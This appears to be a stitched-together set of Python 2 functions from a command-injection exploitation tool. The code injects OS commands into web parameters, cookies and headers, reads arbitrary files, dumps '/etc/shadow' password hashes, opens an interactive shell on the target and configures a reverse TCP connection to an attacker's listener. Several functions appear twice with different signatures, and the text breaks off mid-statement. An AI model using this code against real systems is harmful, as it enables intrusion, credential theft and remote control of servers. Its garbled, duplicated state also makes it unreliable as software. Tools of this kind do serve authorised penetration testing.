def hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): cmd = settings.HOSTNAME if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # The main command injection exploitation. check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) new_line = "\n" else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) new_line = "" shell = output if shell: success_msg = "The hostname is " + shell sys.stdout.write(new_line + settings.print_success_msg(success_msg) + ".") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") success_msg = "The hostname is " + shell + ".\n" output_file.write(" " + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg) output_file.close()
def hostname(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename): if settings.TARGET_OS == "win": settings.HOSTNAME = settings.WIN_HOSTNAME cmd = settings.HOSTNAME response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Evaluate injection results. shell = eb_injector.injection_results(response, TAG) shell = "".join(str(p) for p in shell).replace(" ", "", 1)[:-1] session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if shell: if menu.options.verbose: print "" sys.stdout.write(Style.BRIGHT + "(!) The hostname is " + Style.UNDERLINE + shell + Style.RESET_ALL + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write(" (!) The hostname is " + shell + ".\n") output_file.close()
def system_information(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): if settings.TARGET_OS == "win": settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS cmd = settings.RECOGNISE_OS if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # Evaluate injection results. target_os = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) target_os = "".join(str(p) for p in target_os) session_handler.store_cmd(url, cmd, target_os, vuln_parameter) else: target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if target_os: target_os = "".join(str(p) for p in target_os) if settings.TARGET_OS != "win": cmd = settings.DISTRO_INFO if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # Perform target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) # Evaluate injection results. distro_name = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) distro_name = "".join(str(p) for p in distro_name) if len(distro_name) != 0: target_os = target_os + " (" + distro_name + ")" session_handler.store_cmd(url, cmd, target_os, vuln_parameter) else: target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if settings.TARGET_OS == "win": cmd = settings.WIN_RECOGNISE_HP else: cmd = settings.RECOGNISE_HP if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # Evaluate injection results. target_arch = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) target_arch = "".join(str(p) for p in target_arch) session_handler.store_cmd(url, cmd, target_arch, vuln_parameter) else: target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if target_arch: # if settings.VERBOSITY_LEVEL >= 1: # print "" success_msg = "The target operating system is " + target_os + Style.RESET_ALL success_msg += Style.BRIGHT + " and the hardware platform is " + target_arch sys.stdout.write(settings.print_success_msg(success_msg) + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") success_msg = "The target operating system is " + target_os success_msg += " and the hardware platform is " + target_arch + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg) output_file.close() else: warn_msg = "Heuristics have failed to retrieve the system information." print settings.print_warning_msg(warn_msg)
def system_information(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): if settings.TARGET_OS == "win": settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS cmd = settings.RECOGNISE_OS if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # The main command injection exploitation. check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) new_line = "\n" else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) new_line = "" target_os = output if target_os: if new_line == "\n": print "" target_os = "".join(str(p) for p in target_os) if settings.TARGET_OS == "win": cmd = settings.WIN_RECOGNISE_HP else: cmd = settings.RECOGNISE_HP if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # The main command injection exploitation. check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) target_arch = output if target_arch: if menu.options.verbose: print "" target_arch = "".join(str(p) for p in target_arch) sys.stdout.write(Style.BRIGHT + new_line + "(!) The target operating system is " + Style.UNDERLINE + target_os + Style.RESET_ALL) sys.stdout.write(Style.BRIGHT + " and the hardware platform is " + Style.UNDERLINE + target_arch + Style.RESET_ALL + ".") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write(" (!) The target operating system is " + target_os) output_file.write(" and the hardware platform is " + target_arch + ".\n") output_file.close()
def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): _ = False file_to_read = menu.options.file_read # Execute command if settings.TARGET_OS == "win": cmd = settings.WIN_FILE_READ + file_to_read else: cmd = settings.FILE_READ + file_to_read if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # The main command injection exploitation. check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) _ = True new_line = "\n" else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) shell = output try: shell = "".join(str(p) for p in shell) except TypeError: pass if settings.VERBOSITY_LEVEL <= 1 and not menu.options.ignore_session and _: print "" if shell: success_msg = "The contents of file '" success_msg += file_to_read + Style.RESET_ALL + Style.BRIGHT success_msg += "'" + Style.RESET_ALL + " : " sys.stdout.write(settings.print_success_msg(success_msg)) sys.stdout.flush() print shell output_file = open(filename, "a") success_msg = "The contents of file '" success_msg += file_to_read + "' : " + shell + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg) output_file.close() else: warn_msg = "It seems that you don't have permissions " warn_msg += "to read the '" + file_to_read + "' file." sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") sys.stdout.flush()
def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): cmd = menu.options.os_cmd if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Perform target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) # Evaluate injection results. shell = eb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell).replace(" ", "", 1) session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if shell: if shell != "": print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n" logs.print_logs_notification(filename, url) else: err_msg = "The '" + cmd + "' command, does not return any output." print settings.print_critical_msg(err_msg) raise SystemExit()
def system_information(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename): if settings.TARGET_OS == "win": settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS cmd = settings.RECOGNISE_OS if alter_shell: cmd = "cmd /c " + cmd response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Evaluate injection results. target_os = cb_injector.injection_results(response, TAG) target_os = "".join(str(p) for p in target_os) session_handler.store_cmd(url, cmd, target_os, vuln_parameter) else: target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if target_os: target_os = "".join(str(p) for p in target_os) if settings.TARGET_OS == "win": cmd = settings.WIN_RECOGNISE_HP else: cmd = settings.RECOGNISE_HP response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Evaluate injection results. target_arch = cb_injector.injection_results(response, TAG) target_arch = "".join(str(p) for p in target_arch) session_handler.store_cmd(url, cmd, target_arch, vuln_parameter) else: target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if target_arch: if menu.options.verbose: print "" sys.stdout.write(Style.BRIGHT + "(!) The target operating system is " + Style.UNDERLINE + target_os + Style.RESET_ALL) sys.stdout.write(Style.BRIGHT + " and the hardware platform is " + Style.UNDERLINE + target_arch + Style.RESET_ALL + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write(" (!) The target operating system is " + target_os) output_file.write(" and the hardware platform is " + target_arch + ".\n") output_file.close()
def tb_injection_handler(url, delay, filename, http_request_method, url_time_response): counter = 1 num_of_chars = 1 vp_flag = True no_result = True is_encoded = False is_vulnerable = False again_warning = True false_positive_warning = False export_injection_info = False how_long = 0 how_long_statistic = 0 injection_type = "Blind Command Injection" technique = "time-based injection technique" if settings.VERBOSITY_LEVEL >= 1: info_msg = "Testing the " + technique + "... " print settings.print_info_msg(info_msg) # Check if defined "--maxlen" option. if menu.options.maxlen: maxlen = settings.MAXLEN # Check if defined "--url-reload" option. if menu.options.url_reload == True: warn_msg = "The '--url-reload' option is not available in " + technique + "." print settings.print_warning_msg(warn_msg) whitespace = checks.check_whitespaces() # Calculate all possible combinations total = (len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) - len(settings.JUNK_COMBINATION)) for prefix in settings.PREFIXES: for suffix in settings.SUFFIXES: for separator in settings.SEPARATORS: # If a previous session is available. if settings.LOAD_SESSION and session_handler.notification( url, technique): cmd = shell = "" url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation( url, http_request_method) checks.check_for_stored_tamper(payload) settings.FOUND_HOW_LONG = how_long settings.FOUND_DIFF = how_long - delay if settings.RETEST == True: settings.RETEST = False from src.core.injections.results_based.techniques.classic import cb_handler cb_handler.exploitation(url, delay, filename, http_request_method) if not settings.LOAD_SESSION: num_of_chars = num_of_chars + 1 # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" # Define alter shell alter_shell = menu.options.alter_shell # Change TAG on every request to prevent false-positive results. TAG = ''.join( random.choice(string.ascii_uppercase) for num_of_chars in range(6)) tag_length = len(TAG) + 4 for output_length in range(1, int(tag_length)): try: if alter_shell: # Time-based decision payload (check if host is vulnerable). payload = tb_payloads.decision_alter_shell( separator, TAG, output_length, delay, http_request_method) else: # Time-based decision payload (check if host is vulnerable). payload = tb_payloads.decision( separator, TAG, output_length, delay, http_request_method) # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = re.sub(" ", whitespace, payload) if settings.TAMPER_SCRIPTS['base64encode']: from src.core.tamper import base64encode payload = base64encode.encode(payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL >= 1: payload_msg = payload.replace("\n", "\\n") print settings.print_payload(payload_msg) # Cookie Injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie injection. vuln_parameter = parameters.specify_cookie_parameter( menu.options.cookie) how_long = tb_injector.cookie_injection_test( url, vuln_parameter, payload) # User-Agent Injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent injection. vuln_parameter = parameters.specify_user_agent_parameter( menu.options.agent) how_long = tb_injector.user_agent_injection_test( url, vuln_parameter, payload) # Referer Injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer injection. vuln_parameter = parameters.specify_referer_parameter( menu.options.referer) how_long = tb_injector.referer_injection_test( url, vuln_parameter, payload) # Custom HTTP header Injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom http header injection. vuln_parameter = parameters.specify_custom_header_parameter( settings.INJECT_TAG) how_long = tb_injector.custom_header_injection_test( url, vuln_parameter, payload) else: # Check if target host is vulnerable. how_long, vuln_parameter = tb_injector.injection_test( payload, http_request_method, url) # Statistical analysis in time responses. how_long_statistic = how_long_statistic + how_long # Reset the how_long_statistic counter if output_length == tag_length - 1: how_long_statistic = 0 # Injection percentage calculation percent = ((num_of_chars * 100) / total) float_percent = "{0:.1f}".format( round(((num_of_chars * 100) / (total * 1.0)), 2)) if percent == 100 and no_result == True: if not settings.VERBOSITY_LEVEL >= 1: percent = Fore.RED + "FAILED" + Style.RESET_ALL else: percent = "" else: if (url_time_response == 0 and (how_long - delay) >= 0) or \ (url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \ (url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) : # Time relative false positive fixation. false_positive_fixation = False if len(TAG) == output_length: # Windows targets. if settings.TARGET_OS == "win": if how_long > (how_long_statistic / output_length): false_positive_fixation = True else: false_positive_warning = True # Unix-like targets. else: if delay == 1 and (how_long_statistic == delay) or \ delay == 1 and (how_long_statistic == how_long) or \ delay > 1 and (how_long_statistic == (output_length + delay)) and \ how_long == delay + 1: false_positive_fixation = True else: false_positive_warning = True # Identified false positive warning message. if false_positive_warning and again_warning: again_warning = False warn_msg = "Unexpected time delays have been identified due to unstable " warn_msg += "requests. This behavior which may lead to false-positive results." sys.stdout.write( "\r" + print_warning_msg(warn_msg)) print "" # Check if false positive fixation is True. if false_positive_fixation: false_positive_fixation = False settings.FOUND_HOW_LONG = how_long settings.FOUND_DIFF = how_long - delay randv1 = random.randrange(0, 1) randv2 = random.randrange(1, 2) randvcalc = randv1 + randv2 if settings.TARGET_OS == "win": if alter_shell: cmd = settings.WIN_PYTHON_DIR + "python.exe -c \"print (" + str( randv1) + " + " + str( randv2) + ")\"" else: cmd = "powershell.exe -InputFormat none write (" + str( randv1) + " + " + str( randv2) + ")" else: cmd = "expr " + str( randv1) + " + " + str( randv2) + "" # Check for false positive resutls how_long, output = tb_injector.false_positive_check( separator, TAG, cmd, whitespace, prefix, suffix, delay, http_request_method, url, vuln_parameter, randvcalc, alter_shell, how_long, url_time_response) if (url_time_response == 0 and (how_long - delay) >= 0) or \ (url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \ (url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) : if str(output) == str( randvcalc) and len( TAG) == output_length: is_vulnerable = True how_long_statistic = 0 if not settings.VERBOSITY_LEVEL >= 1: percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL else: percent = "" else: break # False positive else: if not settings.VERBOSITY_LEVEL >= 1: percent = str(float_percent) + "%" info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]" sys.stdout.write( "\r" + settings.print_info_msg( info_msg)) sys.stdout.flush() continue else: if not settings.VERBOSITY_LEVEL >= 1: percent = str(float_percent) + "%" info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]" sys.stdout.write( "\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() continue if not settings.VERBOSITY_LEVEL >= 1: info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]" sys.stdout.write( "\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() except KeyboardInterrupt: raise except SystemExit: raise except: break break # Yaw, got shellz! # Do some magic tricks! if (url_time_response == 0 and (how_long - delay) >= 0) or \ (url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \ (url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) : if (len(TAG) == output_length) and \ (is_vulnerable == True or settings.LOAD_SESSION and is_vulnerable == "True"): found = True no_result = False if settings.LOAD_SESSION: is_vulnerable = False if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if http_request_method == "GET": found_vuln_parameter = parameters.vuln_GET_param( url) else: found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0: found_vuln_parameter = " '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique( export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter( vp_flag, filename, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.LOAD_SESSION: print "" # Print the findings to terminal. success_msg = "The (" + http_request_method + ")" success_msg += found_vuln_parameter + header_name success_msg += the_type + " is vulnerable to " + injection_type + "." print settings.print_success_msg(success_msg) print " (+) Type : " + Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + "" print " (+) Technique : " + Fore.YELLOW + Style.BRIGHT + technique.title( ) + Style.RESET_ALL + "" print " (+) Payload : " + Fore.YELLOW + Style.BRIGHT + re.sub( "%20", " ", payload.replace( "\n", "\\n")) + Style.RESET_ALL if not settings.LOAD_SESSION: shell = "" session_handler.injection_point_importation( url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable) is_vulnerable = False else: settings.LOAD_SESSION = False new_line = False # Check for any enumeration options. if settings.ENUMERATION_DONE == True: while True: question_msg = "Do you want to enumerate again? [Y/n/q] > " enumerate_again = raw_input( "\n" + settings.print_question_msg(question_msg) ).lower() if enumerate_again in settings.CHOICE_YES: tb_enumeration.do_check( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) print "" break elif enumerate_again in settings.CHOICE_NO: new_line = True break elif enumerate_again in settings.CHOICE_QUIT: sys.exit(0) else: if enumerate_again == "": enumerate_again = "enter" err_msg = "'" + enumerate_again + "' is not a valid answer." print settings.print_error_msg( err_msg) + "\n" pass else: if menu.enumeration_options(): tb_enumeration.do_check( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) print "" # Check for any system file access options. if settings.FILE_ACCESS_DONE == True: print "" while True: question_msg = "Do you want to access files again? [Y/n/q] > " file_access_again = raw_input( settings.print_question_msg( question_msg)).lower() if file_access_again in settings.CHOICE_YES: tb_file_access.do_check( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) break elif file_access_again in settings.CHOICE_NO: if not new_line: new_line = True break elif file_access_again in settings.CHOICE_QUIT: sys.exit(0) else: if file_access_again == "": file_access_again = "enter" err_msg = "'" + file_access_again + "' is not a valid answer." print settings.print_error_msg( err_msg) + "\n" pass else: # if not menu.enumeration_options() and not menu.options.os_cmd: # print "" tb_file_access.do_check( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) # Check if defined single cmd. if menu.options.os_cmd: cmd = menu.options.os_cmd check_how_long, output = tb_enumeration.single_os_cmd_exec( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) # Export injection result tb_injector.export_injection_results( cmd, separator, output, check_how_long) sys.exit(0) if not new_line: print "" # Pseudo-Terminal shell go_back = False go_back_again = False while True: if go_back == True: break question_msg = "Do you want a Pseudo-Terminal? [Y/n/q] > " gotshell = raw_input( settings.print_question_msg( question_msg)).lower() if gotshell in settings.CHOICE_YES: print "" print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)" if readline_error: checks.no_readline_module() while True: try: # Tab compliter if not readline_error: readline.set_completer( menu.tab_completer) # MacOSX tab compliter if getattr( readline, '__doc__', '' ) is not None and 'libedit' in getattr( readline, '__doc__', ''): readline.parse_and_bind( "bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind( "tab: complete") cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) if cmd.lower( ) in settings.SHELL_OPTIONS: os_shell_option = checks.check_os_shell_options( cmd.lower(), technique, go_back, no_result) if os_shell_option == False: if no_result == True: return False else: return True elif os_shell_option == "quit": sys.exit(0) elif os_shell_option == "back": go_back = True break elif os_shell_option == "os_shell": warn_msg = "You are already into an 'os_shell' mode." print settings.print_warning_msg( warn_msg) + "\n" elif os_shell_option == "reverse_tcp": settings.REVERSE_TCP = True # Set up LHOST / LPORT for The reverse TCP connection. reverse_tcp.configure_reverse_tcp( ) if settings.REVERSE_TCP == False: continue while True: if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS: result = checks.check_reverse_tcp_options( settings.LHOST) else: cmd = reverse_tcp.reverse_tcp_options( ) result = checks.check_reverse_tcp_options( cmd) if result != None: if result == 0: return False elif result == 1 or result == 2: go_back_again = True settings.REVERSE_TCP = False break # Command execution results. from src.core.injections.results_based.techniques.classic import cb_injector separator = checks.time_based_separators( separator, http_request_method) whitespace = urllib.quote( settings.WHITESPACE[0]) response = cb_injector.injection( separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Evaluate injection results. shell = cb_injector.injection_results( response, TAG, cmd) # Export injection result if settings.VERBOSITY_LEVEL >= 1: print "" err_msg = "The reverse TCP connection has been failed!" print settings.print_critical_msg( err_msg) else: pass else: print "" if menu.options.ignore_session or \ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # The main command injection exploitation. check_how_long, output = tb_injector.injection( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) # Export injection result tb_injector.export_injection_results( cmd, separator, output, check_how_long) if not menu.options.ignore_session: session_handler.store_cmd( url, cmd, output, vuln_parameter) else: output = session_handler.export_stored_cmd( url, cmd, vuln_parameter) print Fore.GREEN + Style.BRIGHT + output + Style.RESET_ALL print "" except KeyboardInterrupt: raise except SystemExit: raise elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector( technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: sys.exit(0) else: if gotshell == "": gotshell = "enter" err_msg = "'" + gotshell + "' is not a valid answer." print settings.print_error_msg(err_msg) + "\n" pass #break if no_result == True: print "" return False else: sys.stdout.write("\r") sys.stdout.flush()
def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): _ = False if settings.TARGET_OS == "win": # Not yet implemented! pass else: cmd = settings.SYS_PASSES #print "" if session_handler.export_stored_cmd( url, cmd, vuln_parameter) == None or menu.options.ignore_session: check_how_long, output = tfb_injector.injection( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) _ = True if output == False: output = "" session_handler.store_cmd(url, cmd, output, vuln_parameter) else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) sys_passes = output if sys_passes == "": sys_passes = " " if sys_passes: if settings.VERBOSITY_LEVEL >= 1 and menu.options.ignore_session: print "" info_msg = "Fetching '" + settings.SHADOW_FILE + "' to enumerate users password hashes... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() sys_passes = "".join(str(p) for p in sys_passes) sys_passes = sys_passes.replace(" ", "\n") sys_passes = sys_passes.split() if len(sys_passes) != 0: sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]") success_msg = "Identified " + str(len(sys_passes)) success_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1] success_msg += " in '" + settings.SHADOW_FILE + "'.\n" sys.stdout.write("\n" + settings.print_success_msg(success_msg)) sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write( re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub( "", settings.SUCCESS_SIGN) + success_msg) output_file.close() count = 0 for line in sys_passes: count = count + 1 try: if ":" in line: fields = line.split(":") if not "*" in fields[1] and not "!" in fields[ 1] and fields[1] != "": print " (" + str( count ) + ") " + Style.BRIGHT + fields[ 0] + Style.RESET_ALL + " : " + Style.BRIGHT + fields[ 1] + Style.RESET_ALL # Add infos to logs file. output_file = open(filename, "a") output_file.write(" (" + str(count) + ") " + fields[0] + " : " + fields[1] + "\n") output_file.close() # Check for appropriate '/etc/shadow' format. except IndexError: if count == 1: warn_msg = "It seems that '" + settings.SHADOW_FILE + "' file is not " warn_msg += "in the appropriate format. Thus, it is expoted as a text file." sys.stdout.write( settings.print_warning_msg(warn_msg) + "\n") print fields[0] output_file = open(filename, "a") output_file.write(" " + fields[0]) output_file.close() else: sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") warn_msg = "It seems that you don't have permissions to read '" warn_msg += settings.SHADOW_FILE + "' to enumerate users password hashes." sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) sys.stdout.flush()
def fb_injection_handler(url, delay, filename, http_request_method, url_time_response): counter = 1 vp_flag = True exit_loops = False no_result = True is_encoded = False stop_injection = False call_tmp_based = False next_attack_vector = False export_injection_info = False injection_type = "semi-blind command injection" technique = "file-based command injection technique" # Set temp path if settings.TARGET_OS == "win": if "microsoft-iis" in settings.SERVER_BANNER.lower(): settings.TMP_PATH = "C:\\Windows\TEMP\\" else: settings.TMP_PATH = "%temp%\\" else: settings.TMP_PATH = "/tmp/" if menu.options.tmp_path: tmp_path = menu.options.tmp_path else: tmp_path = settings.TMP_PATH if settings.DEFAULT_SRV_ROOT_DIR != settings.SRV_ROOT_DIR: settings.SRV_ROOT_DIR = settings.DEFAULT_SRV_ROOT_DIR if menu.options.file_dest and '/tmp/' in menu.options.file_dest: call_tmp_based = True else: if menu.options.srv_root_dir: settings.SRV_ROOT_DIR = menu.options.srv_root_dir else: # Debian/Ubunt have been updated to use /var/www/html as default instead of /var/www. if "apache" in settings.SERVER_BANNER.lower(): if "debian" or "ubuntu" in settings.SERVER_BANNER.lower(): try: check_version = re.findall( r"/(.*)\.", settings.SERVER_BANNER.lower()) if check_version[ 0] > "2.3" and not settings.TARGET_OS == "win": # Add "/html" to servers root directory settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/html" else: settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR except IndexError: pass # Add "/html" to servers root directory elif "fedora" or "centos" in settings.SERVER_BANNER.lower(): settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/html" else: pass # On more recent versions (>= "1.2.4") the default root path has changed to "/usr/share/nginx/html" elif "nginx" in settings.SERVER_BANNER.lower(): try: check_version = re.findall(r"/(.*)\.", settings.SERVER_BANNER.lower()) if check_version[0] >= "1.2.4": # Add "/html" to servers root directory settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/html" else: # Add "/www" to servers root directory settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/www" except IndexError: pass elif "microsoft-iis" in settings.SERVER_BANNER.lower(): pass else: # Provide custom server's root directory. custom_srv_root_dir() path = urlparse.urlparse(url).path path_parts = path.split('/') count = 0 for part in path_parts: count = count + 1 count = count - 1 last_param = path_parts[count] EXTRA_DIR = path.replace(last_param, "") settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + EXTRA_DIR if settings.TARGET_OS == "win": settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR.replace( "/", "\\") if not settings.LOAD_SESSION or settings.RETEST == True: info_msg = "Trying to create a file in '" + settings.SRV_ROOT_DIR + "'... " print settings.print_info_msg(info_msg) i = 